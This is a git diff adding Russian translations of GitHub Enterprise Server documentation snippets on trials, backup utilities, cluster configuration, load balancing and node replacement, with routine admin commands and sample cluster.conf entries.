VPN. {% data variables.product.product_name %} хорошо подойдет тем предприятиям, которым важно обеспечить соответствие нормативным требованиям, и поможет избежать проблем, связанных с использованием общедоступного облака в качестве платформы для разработки программного обеспечения. diff --git a/translations/ru-RU/data/reusables/enterprise/github-distributes-ghes.md b/translations/ru-RU/data/reusables/enterprise/github-distributes-ghes.md new file mode 100644 index 000000000000..c3496a0b4bba --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise/github-distributes-ghes.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: d059e3b82e723431b83d66872488bc0dade27eee +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147080462" +--- +{% data variables.product.company_short %} распространяет {% data variables.product.product_name %} как автономное виртуальное устройство. Завершив подготовку виртуальной машины и установку устройства, экземпляр запускает операционную систему Linux с пользовательским стеком приложений. diff --git a/translations/ru-RU/data/reusables/enterprise/link-to-ghe-trial.md b/translations/ru-RU/data/reusables/enterprise/link-to-ghe-trial.md new file mode 100644 index 000000000000..04260df8a153 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise/link-to-ghe-trial.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 03ab35bd6f52f7207cbc657281cd4ae4eb57331b +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145123912" +--- +Дополнительные сведения о том, как можно попробовать {% data variables.product.prodname_enterprise %} бесплатно, см. в разделах [Настройка пробной версии {% data variables.product.prodname_ghe_cloud %}]({% ifversion ghae %}/enterprise-cloud@latest{% endif %}/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud) и [Настройка пробной версии {% data variables.product.prodname_ghe_server %}]({% ifversion ghae %}/enterprise-cloud@latest{% endif %}/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server). diff --git a/translations/ru-RU/data/reusables/enterprise/link-to-ghec-trial.md b/translations/ru-RU/data/reusables/enterprise/link-to-ghec-trial.md new file mode 100644 index 000000000000..8d9bc1e3ac0f --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise/link-to-ghec-trial.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 51e25423308f1e74637e883a283e9fbfa6f7c3fe +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878882" +--- +Дополнительные сведения о том, как бесплатно попробовать {% data variables.product.prodname_ghe_cloud %}, см. в разделе [Настройка пробной версии {% data variables.product.prodname_ghe_cloud %}]({% ifversion ghae %}/enterprise-cloud@latest{% endif %}/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud). diff --git a/translations/ru-RU/data/reusables/enterprise/navigate-to-log-streaming-tab.md b/translations/ru-RU/data/reusables/enterprise/navigate-to-log-streaming-tab.md new file mode 100644 index 000000000000..2d8e96c3bf7b --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise/navigate-to-log-streaming-tab.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 0910436ed9a76ea6fbe073964269ced029cf98cc +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147880167" +--- +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.audit-log-tab %} +1. В разделе "Журнал аудита" щелкните **Потоковая передача журналов**. diff --git a/translations/ru-RU/data/reusables/enterprise/rate_limit.md b/translations/ru-RU/data/reusables/enterprise/rate_limit.md new file mode 100644 index 000000000000..e6863783bda8 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise/rate_limit.md @@ -0,0 +1,9 @@ +{% ifversion ghes %} + +{% note %} + +**Note**: The following rate limits are the default rate limits for {% data variables.product.product_name %}. Contact your site administrator to confirm the rate limits for {% data variables.location.product_location %}. + +{% endnote %} + +{% endif %} diff --git a/translations/ru-RU/data/reusables/enterprise/repository-caching-config-summary.md b/translations/ru-RU/data/reusables/enterprise/repository-caching-config-summary.md new file mode 100644 index 000000000000..c4558e4d5614 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise/repository-caching-config-summary.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: a9105076c93fde5fadbbb6e64e2d627268d70c6f +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145111907" +--- +Можно настроить кэширование репозитория, создав специальный тип реплики, называемой кэшем репозитория. diff --git a/translations/ru-RU/data/reusables/enterprise/repository-caching-release-phase.md b/translations/ru-RU/data/reusables/enterprise/repository-caching-release-phase.md new file mode 100644 index 000000000000..31a2b15709dd --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise/repository-caching-release-phase.md @@ -0,0 +1,7 @@ +{% ifversion ghes < 3.6 %} +{% note %} + +**Note:** Repository caching is currently in beta and subject to change. + +{% endnote %} +{% endif %} diff --git a/translations/ru-RU/data/reusables/enterprise/test-in-staging.md b/translations/ru-RU/data/reusables/enterprise/test-in-staging.md new file mode 100644 index 000000000000..43fe854c49f0 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise/test-in-staging.md @@ -0,0 +1 @@ +{% data variables.product.company_short %} strongly recommends that you verify any new configuration for authentication in a staging environment. An incorrect configuration could result in downtime for {% data variables.location.product_location %}. For more information, see "[Setting up a staging instance](/admin/installation/setting-up-a-github-enterprise-server-instance/setting-up-a-staging-instance)." diff --git a/translations/ru-RU/data/reusables/enterprise/upgrade-ghes-for-features.md b/translations/ru-RU/data/reusables/enterprise/upgrade-ghes-for-features.md new file mode 100644 index 000000000000..749f7abd03dc --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise/upgrade-ghes-for-features.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: b0045d0e4f09544b99c2baea75068a52dc35dedb +ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145123896" +--- +{% note %} + +**Примечание.** Такие функции, как {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %}, {% data variables.product.prodname_mobile %} и {% data variables.product.prodname_GH_advanced_security %}, доступны в {% data variables.product.prodname_ghe_server %} 3.0 или более поздней версии. Настоятельно рекомендуется выполнить обновление до версии 3.0 или более поздней, чтобы использовать преимущества критических обновлений системы безопасности, исправлений ошибок и улучшений функций. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/enterprise/use-a-multiplexer.md b/translations/ru-RU/data/reusables/enterprise/use-a-multiplexer.md new file mode 100644 index 000000000000..54f59d47c42f --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise/use-a-multiplexer.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 11ae68c37747079d6e9fdbb3f52f7483edfc14d2 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145111875" +--- +Выполнение этой команды может занять некоторое время, поэтому мы рекомендуем выполнить команду в мультиплексоре терминала, например `screen` или `tmux`. diff --git a/translations/ru-RU/data/reusables/enterprise/verify-audit-log-streaming-endpoint.md b/translations/ru-RU/data/reusables/enterprise/verify-audit-log-streaming-endpoint.md new file mode 100644 index 000000000000..1ad8022b6f79 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise/verify-audit-log-streaming-endpoint.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: bf340af348538795abebad60a01de5ae805b03bc +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145123888" +--- +1. После успешной проверки конечной точки щелкните **Сохранить**. diff --git a/translations/ru-RU/data/reusables/enterprise_backup_utilities/enterprise-backup-utils-directory.md b/translations/ru-RU/data/reusables/enterprise_backup_utilities/enterprise-backup-utils-directory.md new file mode 100644 index 000000000000..cf5ab6d74750 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_backup_utilities/enterprise-backup-utils-directory.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 5302e6f9d952c4a8881d1f28fe7ea847a70d0efe +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109631" +--- +1. На узле резервного копирования перейдите к каталогу, где установлены {% data variables.product.prodname_enterprise_backup_utilities %} (как правило, `backup-utils`). diff --git a/translations/ru-RU/data/reusables/enterprise_backup_utilities/enterprise-backup-utils-update-repo.md b/translations/ru-RU/data/reusables/enterprise_backup_utilities/enterprise-backup-utils-update-repo.md new file mode 100644 index 000000000000..733d957a56ee --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_backup_utilities/enterprise-backup-utils-update-repo.md @@ -0,0 +1,19 @@ +--- +ms.openlocfilehash: 79597b1b3bb004df2b5aaadee5f72629ba62adbb +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147861707" +--- +1. Чтобы обновить версию проекта до последнего выпуска, используйте ветвь `stable`, выполнив команду `git checkout stable`. + + ```shell + git checkout stable + ``` + + А если необходимо использовать конкретную версию проекта, выполните следующую команду, заменив `X.Y.Z` на нужную версию выпуска. + + ```shell + $ git checkout vX.Y.Z + ``` diff --git a/translations/ru-RU/data/reusables/enterprise_backup_utilities/enterprise-backup-utils-verify-upgrade.md b/translations/ru-RU/data/reusables/enterprise_backup_utilities/enterprise-backup-utils-verify-upgrade.md new file mode 100644 index 000000000000..3eb08912594c --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_backup_utilities/enterprise-backup-utils-verify-upgrade.md @@ -0,0 +1,18 @@ +--- +ms.openlocfilehash: 76be6868da14b227e1b0fbc16b8c9f913b4f04e0 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109624" +--- +1. Для проверки, что обновление установлено, выполните следующую команду. + ```shell + ./bin/ghe-backup --version + ``` + +1. Чтобы проверить SSH-подключение настроенных продуктов {% data variables.product.prodname_ghe_server %}, выполните следующую команду. + ```shell + ./bin/ghe-host-check + ``` + diff --git a/translations/ru-RU/data/reusables/enterprise_clustering/apply-configuration.md b/translations/ru-RU/data/reusables/enterprise_clustering/apply-configuration.md new file mode 100644 index 000000000000..0f0c3239fd4c --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_clustering/apply-configuration.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 60b3718c809e131cdf8360598476f9e2b6c78ee0 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879520" +--- +1. Примените новую конфигурацию. {% data reusables.enterprise.use-a-multiplexer %} + + ghe-cluster-config-apply diff --git a/translations/ru-RU/data/reusables/enterprise_clustering/clustering-requires-https.md b/translations/ru-RU/data/reusables/enterprise_clustering/clustering-requires-https.md new file mode 100644 index 000000000000..0308ee1c2ff2 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_clustering/clustering-requires-https.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 233780c2f0b06297e2a0d6b2bb489f49c9068bca +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145123880" +--- +{% note %} + +**Примечание.** Кластеризация {% data variables.product.prodname_ghe_server %} должна быть настроена с помощью протокола HTTPS. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/enterprise_clustering/clustering-scalability.md b/translations/ru-RU/data/reusables/enterprise_clustering/clustering-scalability.md new file mode 100644 index 000000000000..5e4ee2125db3 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_clustering/clustering-scalability.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 9ce04330babb9166090bd9013a6b4e6c8f41d379 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878816" +--- +Кластеризация обеспечивает лучшую масштабируемость за счет распределения нагрузки между несколькими узлами. Это горизонтальное масштабирование может быть предпочтительнее для некоторых организаций с десятками тысяч разработчиков. diff --git a/translations/ru-RU/data/reusables/enterprise_clustering/configuration-file-heading.md b/translations/ru-RU/data/reusables/enterprise_clustering/configuration-file-heading.md new file mode 100644 index 000000000000..2307aa3f671d --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_clustering/configuration-file-heading.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: c3918f659ace7f83d4e47d080a9a795a5545bdcc +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145123875" +--- +Файл конфигурации кластера перечисляет каждый узел под заголовком [cluster "HOSTNAME"]. diff --git a/translations/ru-RU/data/reusables/enterprise_clustering/configuration-finished.md b/translations/ru-RU/data/reusables/enterprise_clustering/configuration-finished.md new file mode 100644 index 000000000000..cdff8b12bfe0 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_clustering/configuration-finished.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 2e29b9f3f891e386fedde0d6c8fcd880fedbaa40 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145111848" +--- +1. После завершения инициализации {% data variables.product.prodname_ghe_server %} отобразит следующее сообщение. + + ```shell + Finished cluster configuration + ``` diff --git a/translations/ru-RU/data/reusables/enterprise_clustering/health_checks.md b/translations/ru-RU/data/reusables/enterprise_clustering/health_checks.md new file mode 100644 index 000000000000..5447c8ac396a --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_clustering/health_checks.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: da828b3b969dfc24b1f71400f336cccfa1f4d004 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145123859" +--- +Настройте подсистему балансировки нагрузки, чтобы проверить один из следующих URL-адресов: + - `https://HOSTNAME/status`, если протокол HTTPS включен (по умолчанию); + - `http://HOSTNAME/status`, если протокол HTTPS выключен. + +Проверка вернет код состояния `200` (ОК), если узел работоспособен и доступен для запросов конечных пользователей. diff --git a/translations/ru-RU/data/reusables/enterprise_clustering/key-value-pair-order-irrelevant.md b/translations/ru-RU/data/reusables/enterprise_clustering/key-value-pair-order-irrelevant.md new file mode 100644 index 000000000000..291f64884b96 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_clustering/key-value-pair-order-irrelevant.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 56f4e24b4be245608a85d3cf8ccf1ab311063ebd +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147880503" +--- +Порядок пар "ключ-значение" может быть любым. diff --git a/translations/ru-RU/data/reusables/enterprise_clustering/load_balancer_dns.md b/translations/ru-RU/data/reusables/enterprise_clustering/load_balancer_dns.md new file mode 100644 index 000000000000..20717378c9e8 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_clustering/load_balancer_dns.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 37edbef15e16094672ca7be6dbfbc28390b37bca +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146332323" +--- +Поиски DNS для имени узла {% data variables.product.prodname_ghe_server %} должны разрешаться в подсистему балансировки нагрузки. Рекомендуется включить изоляцию поддомена. Если изоляция поддомена включена, дополнительная запись с подстановочными знаками (`*.HOSTNAME`) также должна разрешаться в подсистему балансировки нагрузки. Дополнительные сведения см. в разделе [Включение изоляции поддомена](/enterprise/admin/guides/installation/enabling-subdomain-isolation/). diff --git a/translations/ru-RU/data/reusables/enterprise_clustering/load_balancer_intro.md b/translations/ru-RU/data/reusables/enterprise_clustering/load_balancer_intro.md new file mode 100644 index 000000000000..b8e56d16cbd2 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_clustering/load_balancer_intro.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b9aa2cbac3e32319aac7d2b7ef53422f53125643 +ms.sourcegitcommit: 505b84dc7227e8a5d518a71eb5c7eaa65b38ce0e +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878679" +--- +Проект подсистемы балансировки нагрузки использует сетевое устройство для направления трафика Git и HTTP на отдельные устройства {% data variables.product.prodname_ghe_server %}. Подсистему балансировки нагрузки можно использовать для ограничения прямого трафика на устройство в целях безопасности или перенаправления трафика при необходимости оставить без изменений записи DNS. Настоятельно рекомендуется использовать подсистему балансировки нагрузки на основе TCP, поддерживающую протокол PROXY. diff --git a/translations/ru-RU/data/reusables/enterprise_clustering/network-latency.md b/translations/ru-RU/data/reusables/enterprise_clustering/network-latency.md new file mode 100644 index 000000000000..0d61eec86a33 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_clustering/network-latency.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: d868eddf89cbfddf9c2eab45bdf15f39a00387be +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148107440" +--- +Для обеспечения высокой доступности задержка между сетью с активными узлами и сетью с пассивными узлами должна составлять менее 70 миллисекунд. Не рекомендуется настраивать брандмауэр между двумя сетями. diff --git a/translations/ru-RU/data/reusables/enterprise_clustering/open-configuration-file.md b/translations/ru-RU/data/reusables/enterprise_clustering/open-configuration-file.md new file mode 100644 index 000000000000..1a0c910bafd8 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_clustering/open-configuration-file.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 31ffd821ac289c51645cbca8c3cf3d2c22793058 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878823" +--- +1. Откройте файл конфигурации кластера по адресу _/data/user/common/cluster.conf_ в текстовом редакторе. Например, можно использовать редактор Vim. + + sudo vim /data/user/common/cluster.conf diff --git a/translations/ru-RU/data/reusables/enterprise_clustering/proxy_preference.md b/translations/ru-RU/data/reusables/enterprise_clustering/proxy_preference.md new file mode 100644 index 000000000000..c6ae6e3dcac3 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_clustering/proxy_preference.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 69c0fb0e38433bb6c7745701f77efed76421f0cc +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145111832" +--- +Мы настоятельно рекомендуем реализовать протокол PROXY, если подсистема балансировки нагрузки поддерживает его. Если поддержка PROXY недоступна, нагрузку на порты HTTP и HTTPS можно также распределять с помощью заголовка `X-Forwarded-For`. diff --git a/translations/ru-RU/data/reusables/enterprise_clustering/proxy_protocol_ports.md b/translations/ru-RU/data/reusables/enterprise_clustering/proxy_protocol_ports.md new file mode 100644 index 000000000000..a5b8e7cf14b6 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_clustering/proxy_protocol_ports.md @@ -0,0 +1,18 @@ +--- +ms.openlocfilehash: 75d099613573f78150f08a91fb71dab01e301874 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145123832" +--- +### Сопоставления TCP-портов протокола ПРОКСИ + +| Исходный порт | Конечный порт | Описание службы | +| :---: | :---: | :---: | +| 22 | 23 | Git по протоколу SSH | +| 80 | 81 | HTTP | +| 443 | 444 | HTTPS | +| 8080 | 8081 | HTTP консоли управления | +| 8443 | 8444 | HTTPS консоли управления | +| 9418 | 9419 | Git | diff --git a/translations/ru-RU/data/reusables/enterprise_clustering/proxy_xff_firewall_warning.md b/translations/ru-RU/data/reusables/enterprise_clustering/proxy_xff_firewall_warning.md new file mode 100644 index 000000000000..a049633aa234 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_clustering/proxy_xff_firewall_warning.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: f3e2eb78d7cd5e8fe407c4ce222d2d23b2bc5eea +ms.sourcegitcommit: 505b84dc7227e8a5d518a71eb5c7eaa65b38ce0e +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878678" +--- +{% danger %} + +**Предупреждение системы безопасности**. Если включена поддержка прокси-сервера или перенаправление HTTP, крайне важно, чтобы внешний трафик не мог напрямую поступать на устройства {% data variables.product.prodname_ghe_server %}. Если внешний трафик не будет блокироваться должным образом, существует риск подделки исходных IP-адресов. + +{% enddanger %} diff --git a/translations/ru-RU/data/reusables/enterprise_clustering/replacing-a-cluster-node-admin-configure-ip.md b/translations/ru-RU/data/reusables/enterprise_clustering/replacing-a-cluster-node-admin-configure-ip.md new file mode 100644 index 000000000000..5a6ac9219338 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_clustering/replacing-a-cluster-node-admin-configure-ip.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 4af52af431304cd02a53e943bc4dabea69ebb2fc +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "147886777" +--- +1. Используя административную оболочку или DHCP, настройте **только** IP-адрес заменяющего узла. Не следует настраивать другие параметры. diff --git a/translations/ru-RU/data/reusables/enterprise_clustering/replacing-a-cluster-node-config-node.md b/translations/ru-RU/data/reusables/enterprise_clustering/replacing-a-cluster-node-config-node.md new file mode 100644 index 000000000000..67c722a3f1ea --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_clustering/replacing-a-cluster-node-config-node.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 87ed9e54642930c63b56d78b34448037aab99453 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145111819" +--- +1. Выполните команду `ghe-cluster-config-apply` из того же узла. Это позволит проверить файл конфигурации, скопировать его на каждый узел в кластере и настроить каждый узел в соответствии с измененным файлом `cluster.conf`. diff --git a/translations/ru-RU/data/reusables/enterprise_clustering/replacing-a-cluster-node-initialize-new-node.md b/translations/ru-RU/data/reusables/enterprise_clustering/replacing-a-cluster-node-initialize-new-node.md new file mode 100644 index 000000000000..165b01bdd170 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_clustering/replacing-a-cluster-node-initialize-new-node.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: ec9a5de53e0aa66bf284eecbd5e830ebf0a116a6 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145123827" +--- +1. В административной оболочке узла с измененным `cluster.conf` выполните команду `ghe-cluster-config-init`. Эта команда инициализирует только что добавленный узел в кластере. diff --git a/translations/ru-RU/data/reusables/enterprise_clustering/replacing-a-cluster-node-mark-offline.md b/translations/ru-RU/data/reusables/enterprise_clustering/replacing-a-cluster-node-mark-offline.md new file mode 100644 index 000000000000..e37513780fee --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_clustering/replacing-a-cluster-node-mark-offline.md @@ -0,0 +1,19 @@ +--- +ms.openlocfilehash: 6f16454fbe327c50b0f9666022d3f822ec285d88 +ms.sourcegitcommit: 505b84dc7227e8a5d518a71eb5c7eaa65b38ce0e +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878673" +--- +1. Чтобы пометить узел со сбоем в автономном режиме, измените [файл конфигурации кластера](/enterprise/admin/guides/clustering/initializing-the-cluster/#about-the-cluster-configuration-file) (`cluster.conf`) в соответствующем разделе узла для включения текста `offline = true`. + + Например, этот измененный `cluster.conf` помечает узел как автономный `ghe-data-node-3`: + +
+    [cluster "ghe-data-node-3"]
+    hostname = ghe-data-node-3
+    offline = true
+    ipv4 = 192.168.0.6
+    # ipv6 = fd12:3456:789a:1::6
+    
diff --git a/translations/ru-RU/data/reusables/enterprise_clustering/replacing-a-cluster-node-modify-cluster-conf.md b/translations/ru-RU/data/reusables/enterprise_clustering/replacing-a-cluster-node-modify-cluster-conf.md new file mode 100644 index 000000000000..bd96000cd795 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_clustering/replacing-a-cluster-node-modify-cluster-conf.md @@ -0,0 +1,24 @@ +--- +ms.openlocfilehash: 66c4be7b876bad3641ec56200dd5c79e1d0433c5 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145123816" +--- +1. Для добавления недавно подготовленного заменяющего узла на любом узле измените файл `cluster.conf`, чтобы удалить узел со сбоем и добавить заменяющий. Например, этот измененный файл `cluster.conf` заменяет `ghe-data-node-3` только что подготовленным узлом `ghe-replacement-data-node-3`: + +
+  [cluster "ghe-replacement-data-node-3"]
+    hostname = ghe-replacement-data-node-3
+    ipv4 = 192.168.0.7
+    # ipv6 = fd12:3456:789a:1::7
+    git-server = true
+    pages-server = true
+    mysql-server = true
+    elasticsearch-server = true
+    redis-server = true
+    memcache-server = true
+    metrics-server = true
+    storage-server = true
+  
diff --git a/translations/ru-RU/data/reusables/enterprise_clustering/replacing-a-cluster-node-need-three-nodes.md b/translations/ru-RU/data/reusables/enterprise_clustering/replacing-a-cluster-node-need-three-nodes.md new file mode 100644 index 000000000000..41ab53b94bec --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_clustering/replacing-a-cluster-node-need-three-nodes.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: ae36ee1d0e94309f4f412a8bc91bcddc8ea74117 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146332235" +--- +1. При переводе в автономный режим узла, для которого в файле cluster.conf задано значение `git-server = true`, эвакуируйте этот узел. Дополнительные сведения см. в разделе [Эвакуация узла кластера](/enterprise/admin/clustering/evacuating-a-cluster-node). diff --git a/translations/ru-RU/data/reusables/enterprise_clustering/replacing-a-cluster-node-provision.md b/translations/ru-RU/data/reusables/enterprise_clustering/replacing-a-cluster-node-provision.md new file mode 100644 index 000000000000..33b0fd48a336 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_clustering/replacing-a-cluster-node-provision.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 91345f8f3df52c6dbd18d2f71dfc659b4691ae08 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146332219" +--- +1. [Подготовьте и установите {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/setting-up-a-github-enterprise-server-instance) с уникальным именем узла на заменяемом узле. diff --git a/translations/ru-RU/data/reusables/enterprise_clustering/replacing-a-cluster-node-replacement-name.md b/translations/ru-RU/data/reusables/enterprise_clustering/replacing-a-cluster-node-replacement-name.md new file mode 100644 index 000000000000..af8ad627e542 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_clustering/replacing-a-cluster-node-replacement-name.md @@ -0,0 +1,16 @@ +--- +ms.openlocfilehash: 973fe98cbaff849fa234134175d35ae042510638 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147880479" +--- +1. Если вы заменяете основной узел MySQL или Redis, в `cluster.conf` измените значение 